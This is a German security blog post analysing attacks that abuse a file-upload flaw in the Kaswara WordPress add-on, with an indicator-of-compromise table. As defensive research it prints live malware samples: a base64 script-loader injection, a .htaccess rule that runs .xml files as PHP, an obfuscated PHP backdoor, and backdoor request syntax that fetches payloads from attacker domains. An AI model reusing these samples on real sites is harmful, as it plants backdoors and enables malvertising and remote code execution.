Verwundbares Kaswara Modern WPBakery Page Builder Addons Plugin wird in freier Wildbahn ausgenutzt
Veröffentlicht: 2021-06-08Bereits am 20. April 2021 haben unsere Freunde von WPScan eine schwerwiegende Schwachstelle in Kaswara Modern VC Add-ons gemeldet, auch bekannt als Kaswara Modern WPBakery Page Builder-Add-ons. Es ist bei Codecanyon/Envato nicht mehr verfügbar, was bedeutet, dass Sie, wenn Sie es ausführen, eine Alternative wählen müssen.
Diese Schwachstelle ermöglicht es nicht authentifizierten Benutzern, beliebige Dateien in das Icon-Verzeichnis des Plugins (./wp-content/uploads/kaswara/icons) hochzuladen. Dies ist der erste Indicator Of Compromise (IOC), den unsere Freunde bei WPScan in ihrem Bericht mit uns geteilt haben.
Die Möglichkeit, beliebige Dateien auf eine Website hochzuladen, gibt dem Angreifer die volle Kontrolle über die Website, was es schwierig macht, die endgültige Nutzlast dieser Infektion zu definieren; daher zeigen wir Ihnen alles, was wir bisher gefunden haben (wir haben uns ein wenig von der Recherche mitreißen lassen, also fühlen Sie sich frei, zum IOC-Bereich zu springen, wenn Sie nicht durchlesen möchten).
Datenbankinjektion, gefälschte Android-Apps und andere Hintertüren
Vielen Dank an unseren Freund Denis Sinegubko von Sucuri für den Hinweis auf die bei diesem Angriff verwendete Datenbankinjektions-Nachverfolgung.
Angreifer würden die Option „kaswara-customJS“ aktualisieren, um ein willkürliches bösartiges JavaScript-Code-Snippet hinzuzufügen. Hier ist ein Beispiel, das wir gefunden haben:
INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');
Diese base64-codierte Zeichenfolge bedeutet:
var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);
Und wie es bei dieser Art von Skript üblich ist, lädt es eine Reihe anderer Javascript-Code-Snippets und die endgültige Nutzlast ist entweder ein Malvertising oder ein Exploit-Kit. Dies ist dem, was Wordfence hier berichtet, sehr ähnlich.
In diesem Fall stirbt das Skript auf hxxp://double-clickd[.]com/ und lädt keine schlechten Inhalte. Ich habe verdächtiges Javascript gefunden, das diese Seite seit Anfang 2020 aufruft, und Leute haben es bereits seit 2018 blockiert.
Gefälschte Apps, die auf die Website hochgeladen wurden
Die 40 Android-Apps, die auf den von uns untersuchten Websites gefunden wurden, waren gefälschte Versionen verschiedener Apps, wie AliPay, PayPal, Correos, DHL und viele andere, die laut dieser VirusTotal-Analyse glücklicherweise von den beliebtesten Antiviren-Anbietern entdeckt wurden.

Ich habe die Absichten der App nicht überprüft, aber ein kurzer Überblick über die angeforderten Berechtigungen kann uns einen Eindruck davon geben, was sie tun könnte:
- android.permission.WRITE_SMS
- android.permission.RECEIVE_SMS
- android.permission.FOREGROUND_SERVICE
- android.permission.KILL_BACKGROUND_PROCESSES
- android.permission.READ_CONTACTS
- android.permission.READ_PHONE_STATE
- android.permission.READ_SMS
- android.permission.ACCESS_NETWORK_STATE
- android.permission.QUERY_ALL_PACKAGES
- android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
- android.permission.INTERNET
- android.permission.SEND_SMS
- android.permission.CALL_PHONE
- android.permission.WAKE_LOCK
- android.permission.REQUEST_DELETE_PACKAGES
Diese Dateien werden jedoch nicht sofort mit dem Kaswara-Exploit hochgeladen. Nachdem die Website kompromittiert wurde, laden die Angreifer zunächst andere Tools hoch, um die Website vollständig zu kontrollieren.
Hochgeladene Dateien
Einige Backdoors und andere Malware wurden auch auf Websites gefunden, die von dieser Schwachstelle betroffen sind. Ich werde in diesem Beitrag eine kurze Analyse der beliebtesten und interessantesten veröffentlichen. Ich möchte mich jedoch zunächst auf die komplexeste konzentrieren.
Umleitungs- und gefälschte Apps
Die gefälschten Apps, die ich auf mehreren kompromittierten Websites gefunden habe, wurden nicht durch Ausnutzen der Kaswara-Schwachstelle hochgeladen. Sie werden mithilfe eines multifunktionalen Hacktools auf die Website hochgeladen, das es dem Angreifer ermöglicht, einen Remote-Code hochzuladen (durch Angabe einer URL oder Zeichenfolge) und den Benutzer auf eine bösartige Website umzuleiten.
Die Datei kann leicht anhand dieser Zeichenfolge identifiziert werden: base64_decode('MTIz');error_reporting(0);
Funktion
Interessanterweise randomisiert es alles andere außer diesem.
Die Malware befindet sich in einer einzigen Zeile, was auch ein interessantes IOC ist, wenn Sie nach dieser Art von Codeanomalie suchen.

Um es verständlicher zu machen, habe ich die meisten Teile des Codes entschlüsselt, die interessanten Funktionen umbenannt und den Code verschönert. Die Malware enthält 6 verschiedene Funktionen, von denen 5 auf den Werten basieren, die an die Variable $_GET['ts']
werden. Betrachten wir für dieses Dokument eine der vielen Instanzen, die ich gefunden habe: c.php
.

/c.php?ts=kt
Dies bewirkt nichts und zwingt die Site, einen 500-Fehler zurückzugeben (später im Code).
/c.php?ts=1
Ändert den Wert des $q1a
Flags auf true, um eine Codevalidierung durchzuführen und eine OK-Meldung an den Angreifer auszugeben.
In diesem Fall antwortet die Gegenstelle: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v="Code"&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef
Schreibt eine Datei auf den Server mit Code, der durch den Inhalt von $_GET["v"]
bereitgestellt wird, solange $_GET["p"]
die SHA1-Prüfsumme von 123 ist (erinnern Sie sich an den ersten IOC von base64_decode('MTIz')
? this ist das die Prüfsumme).

/c.php?ts=tt
Schreibt 5 MB „-“ auf den Server, vermutlich um zu testen, ob die Upload-Funktion auf dem Server funktioniert.

/c.php?ts=dwm&h=HASH1,HASH2
Wenn die Malware diese Anfrage erhält, führt sie einen Test durch, um zu überprüfen, ob hochgeladene Dateien erfolgreich auf den Server geschrieben wurden. Ihre MD5-Hashes müssen bekannt sein und werden als kommagetrennte Werte an die Variable $_GET['h']
gesendet.

/c.php?ts=dw&h=hash&l=URLs_as_CSV
Lädt eine Datei von einer Reihe von Websites Dritter herunter und speichert sie auf dem Server, der sie nach den letzten 12 Zeichen der md5 der heruntergeladenen Datei benennt.
Dies ist die Funktion, die verwendet wird, um gefälschte Apps auf den Server hochzuladen.
Hier ist ein Beispiel für die Anfrage zum Herunterladen schädlicher Dateien /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Zugriff umleiten
Wenn die Option kt
oder keine Option ausgewählt wurde, fährt der Code mit der Umleitung fort, die durch Anfordern eines JSON-Blobs mit den erforderlichen Daten erreicht wird. Anschließend leitet es den Besucher über die Header-Funktion weiter.

Die Antwort lautet wie folgt: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}
Die Funktion zum Ausführen einer cURL-Anfrage mit den erforderlichen Parametern ist diese: Nichts Besonderes…
Und es kann in diese cURL-Anfrage übersetzt werden:
curl -X POST hxxp://papass[.]ru/click_api/v3 \
-H 'X-Forwarded-For: 200.171.221.1' \
-H 'Accept-Language: *' \
-H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
-d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'
Die endgültige URL ist, soweit ich das testen konnte, zufällig, hat aber die gleiche Eigenschaft, eine gefälschte Seite für einen beliebten Dienst oder eine App zu sein.

wp-content/uploads/kaswara/icons/16/javas.xml und wp-content/uploads/kaswara/icons/16/.htaccess
Eine XML-Datei wird normalerweise nicht als potenzielle Bedrohung markiert, aber in diesem Fall haben wir eine speziell gestaltete .htaccess-Datei, die ändert, wie der Webserver sie sieht:
Order Deny,Allow
Allow from all
<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
AddHandler application/x-httpd-php .xml .pdf
AddType application/x-httpd-php .xml .pdf
# ---
SetHandler application/x-httpd-php
ForceType application/x-httpd-php
# ---
php_value engine 1
# ---
Order Deny,Allow
Allow from all
</FilesMatch>
Tatsächlich weist es Apache an, alle Java-, Home- oder Menüdateien mit xml, php oder pdf als PHP-Datei zu verstehen, die entsprechend verarbeitet und ausgeführt werden muss. Daher ist jede dieser Dateien, die sich in derselben Verzeichnisstruktur wie diese .htaccess befinden, verdächtig.

Die Datei javas.xml ist die gleiche wie einige andere bösartige Dateien, die auf die Website hochgeladen wurden. Ich habe festgestellt, dass der Unterschied darin besteht, dass einige eine oder zwei Leerzeilen am Ende der Datei haben, was das traditionelle Hashing etwas schwieriger macht.
<?php
$LnWYZK ="\163"."\164" ."\162\137\162\157" . "\164" . ( 279 - 266) ; if( !empty ( $ { $LnWYZK
("\137" . "\103\102\106" . "\107")} ) ) { $nNZph =$LnWYZK ( "\172". "\161". (4334
-4329 ) ) ; $ouQLkV = $LnWYZK ( "\157\156" . "\146" . "\162" . ( 9680 - 9616) . "\137"
. "\161" . "\162\160\142\161\162" ) ; $VNfzSD =$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"
. "\147\166\142\141" ); foreach ($ { $LnWYZK( "\137". "\103" . "\102" . "\106" . "\107"
) } as $IKRDzf => $NIvHUr )( $nNZph ( $IKRDzf ) === "c" . (2668 - 2626 ) .
"\145\141" ."\71" . "\67" ."\71\145\144" . "\71\70\62" . "\143\60" . (314406 -51163 ) . "\60"
. "\145" . "\71" . "\145" . "\71" . "\70" . "\141" . "\66" . "\66" . "\144" . ( 9786 -
9780 ) && $QZCMY = $VNfzSD( "" , $ouQLkV ( $NIvHUr) ) ) ?$QZCMY () : " "
; }
Der bösartige Code wird mit str_rot13- und base64-codierten Zeichenfolgen verschleiert. Es verwendet auch Hexadezimalwerte und mathematische Operationen, um die Zeichenfolgen ein wenig mehr zu verbergen. Die endgültige Nutzlast ist unbekannt, da sie eine Funktion basierend auf den Werten einer POST-Anforderung erstellt. Die Nutzlast scheint jedoch jedes Mal gleich zu sein, da sie sich auf eine md5-Prüfung stützt, bevor sie erstellt wird (c42ea979ed982c02632430e9e98a66d6 ist der md5-Hash).
Fazit
Da es sich um eine aktive Kampagne handelt, finden wir zum Zeitpunkt des Schreibens dieses Beitrags immer mehr verschiedene Malware-Beispiele, die auf den betroffenen Websites abgelegt werden. Einige sind nur Variationen dessen, was wir hier haben, während andere interessant genug für eine tiefere Analyse sind. Suchen Sie in Kürze nach einigen kleineren Beiträgen, um einige dieser anderen Beispiele zu erkunden.
Dies zeigt, wie wichtig es ist, Ihre Erweiterungen mit den neuesten Sicherheitsfixes zu aktualisieren. Wenn die Entwickler Fixes nicht rechtzeitig veröffentlichen oder es aus dem WordPress.org-Repository (oder anderen Marktplätzen) entfernt wird, empfehlen wir Ihnen dringend, eine sicherere Alternative dazu zu finden.
Wenn Sie sich Sorgen über Malware und Schwachstellen für Ihre Website machen, sehen Sie sich die Sicherheitsfunktionen von Jetpack an. Jetpack Security bietet einfach zu bedienende, umfassende WordPress-Site-Sicherheit, einschließlich Backups, Malware-Scans und Spam-Schutz.
Indikatoren für Kompromisse
Hier finden Sie die vollständige Liste aller von uns identifizierten IOCs:
Hash (SHA-1) | Weg | Bedrohungsbeschreibung |
754ee56344b190a7240732eabd43ef8f2e8bace9 | ./2f31eab3b335 | Gefälschte Android-App |
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 | ./28052809bdd7 | Gefälschte Android-App |
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd | ./ce52e434cded | Gefälschte Android-App |
b354b2193e13956747cf3cf1268caaa9ae9601a0 | ./c016456e66cd | Gefälschte Android-App |
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 | ./5d64d12229cf | Gefälschte Android-App |
886ce65890fb467f8843ba4de782cb65966ef801 | ./47e3bdf4ac71 | Gefälschte Android-App |
e2314e2de6e12aa6a600fbc538d75c37b7651b7b | ./026ec4ebebfe | Gefälschte Android-App |
970a29c4322e70ac820f181ff64e9089b6ce69ca | ./5610ec2e788c | Gefälschte Android-App |
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 | ./9be9954a7c0a | Gefälschte Android-App |
423d83a87a3833440f6b810967795876b83b7a90 | ./34b0ea9d688e | Gefälschte Android-App |
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 | ./7986aa5f641b | Gefälschte Android-App |
f1a3f3ffa13a98e75da208aa151910052a2893f6 | ./648cabbe0afa | Gefälschte Android-App |
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 | ./20f9849711cc | Gefälschte Android-App |
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 | ./75002db259ea | Gefälschte Android-App |
8a2cb8808b11c7d24a5111501aed3e4494e4b292 | ./0c7e4e6a39eb | Gefälschte Android-App |
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 | ./7237cd011f42 | Gefälschte Android-App |
f210df00ee1978fc3eda3bc5759d2f7627950c20 | ./3186fb436dae | Gefälschte Android-App |
b9c2dc421010fb1f273ae40f176da4854830e6b8 | ./04d2e95f9573 | Gefälschte Android-App |
8484f4bcba9a8ad5f2a451ee8a541929d80400cc | ./34b67b93da5e | Gefälschte Android-App |
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 | ./502ba128d12c | Gefälschte Android-App |
eb41990973aa178d156a83050d34ad9831f66567 | ./2501a5736f6e | Gefälschte Android-App |
814178f5442be9e748769d61342e33b66ae119f6 | ./ddb83c37197f | Gefälschte Android-App |
edc53993d4f37286985374f6ebbe29815c42b61c | ./2e0ed75c116b | Gefälschte Android-App |
6c014dca61b1cd3e6981a731808317d7e931fc94 | ./5f6ec9795436 | Gefälschte Android-App |
295d49d596b5d062de7d52548ded91284b67ef6a | ./7ed8c17a7cd7 | Gefälschte Android-App |
c83b20deb16bb1d47a6137b99b7230d707b2a1dc | ./4b30e0221c16 | Gefälschte Android-App |
6c709124972f6506bd7562ebe4b2567e7dfb7b75 | ./0faa25f73e3c | Gefälschte Android-App |
816a5ad37b5e1bf7e069969f10f0af41d4ba492f | ./a64122f493dc | Gefälschte Android-App |
a04651dd95f74a074150bcfe7f6535b0542c8f63 | ./3980315c7daa | Gefälschte Android-App |
9d9c89268e5158f93b3b0accb387314133d5e719 | ./da15f8061ab2 | Gefälschte Android-App |
ce8dfe115d9546197d57c9cc9f93abb513aadf4a | ./715b3f4ed70d | Gefälschte Android-App |
2b61271653b8bd82016ce743cabca8c48444f2c8 | ./f8c2f1514938 | Gefälschte Android-App |
1d8f259a424c2f7b6441b7ab568623ef762a5325 | ./ea40ee4cea57 | Gefälschte Android-App |
21f070e33da3a574526817eede699798e59971c1 | ./73b6daad56b6 | Gefälschte Android-App |
de364006dc140251a90adf8ddfd23b00d4c494c5 | ./a70ce1c2d003 | Gefälschte Android-App |
1c0bd522cb786e8697bb907f8771c66d991d672c | ./4c63cfe07251 | Gefälschte Android-App |
a36c3667be58efa50441418b58b5487d873b5d63 | ./067fd1c69444 | Gefälschte Android-App |
8c21c99670e9158f12ac88feba2e87aaa93b41f0 | ./57fd16f4719d | Gefälschte Android-App |
31285841768b43a5973b268df2a761055f25b25f | ./14834dab2dd7 | Gefälschte Android-App |
d3ee06b4c26f7c59b6248f50c8d272e002180d7a | ./28b655b495a9 | Gefälschte Android-App |
8639df09b4ec97c084ed2be1a914b540eb8ab29e | ./c.php | Abgelegte Malware |
95217d8c55b9a83aea2e7d030388daba1e49e27e | ./medovq.php | Abgelegte Malware |
2831ea2f80e71f07c408133986cca2558106b9fc | /wp-content/uploads/kaswara/icons/kntl/img.php | PHP-Datei-Uploader |
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 | wp-content/uploads/kaswara/icons/kntl/cc.php | Abgelegte Malware |
da39a3ee5e6b4b0d3255bfef95601890afd80709 | wp-content/uploads/kaswara/icons/16/icons.php | Malware zur Remotecodeausführung |
d51366d5062e7fd4d1422a59e75b585053643549 | wp-content/uploads/kaswara/icons/brt/t.php | Abgelegte Malware |
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 | ./wp-content/siteindex.php | Abgelegte Malware |
7464d78fd5022a54203c2c63b80096ce96932422 | ./wp-content/uploads/kaswara/fonts_icon/test2/index.php | Abgelegte Malware |
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 | ./wp-content/uploads/kaswara/fonts_icon/test3/index.php | Abgelegte Malware |
486ea7a58e28d9f112eb566711d0d8b594f6b238 | ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip | Abgelegte Malware |
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 | ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip | Abgelegte Malware |
5dd9180835cfbc85e56f25a71977a6fc6a256b35 | ./wp-content/themes/admindex.php | Abgelegte Malware |
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc | ./wp-booking.php | Abgelegte Malware |
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 | ./icons/icons.php | Malware zur Remotecodeausführung |
f7c7fc098575895d9e27b04108ee481b84285aaf | ./icons/yrecyt.php | Abgelegte Malware |
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 | ./xeh02b.php oder ./wp-content/uploads/xeh02b.php | Abgelegte Malware |
64e1b82b8e1fae20fa846b0003c877bc454c00b8 | ./icons/pewegy.php | Abgelegte Malware |
1926459cbe6f3fae524d5c1aa966a023b9def873 | ./icons/icons.php | Malware zur Remotecodeausführung |
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 | ./wp-craft/scr.php | Abgelegte Malware |
wp-content/uploads/kaswara/icons/16/javas.xml | Malware zur Remotecodeausführung | |
– | schlumpfine.ru | Schädliche Domäne |
http://papass.ru | Schädliche Domäne |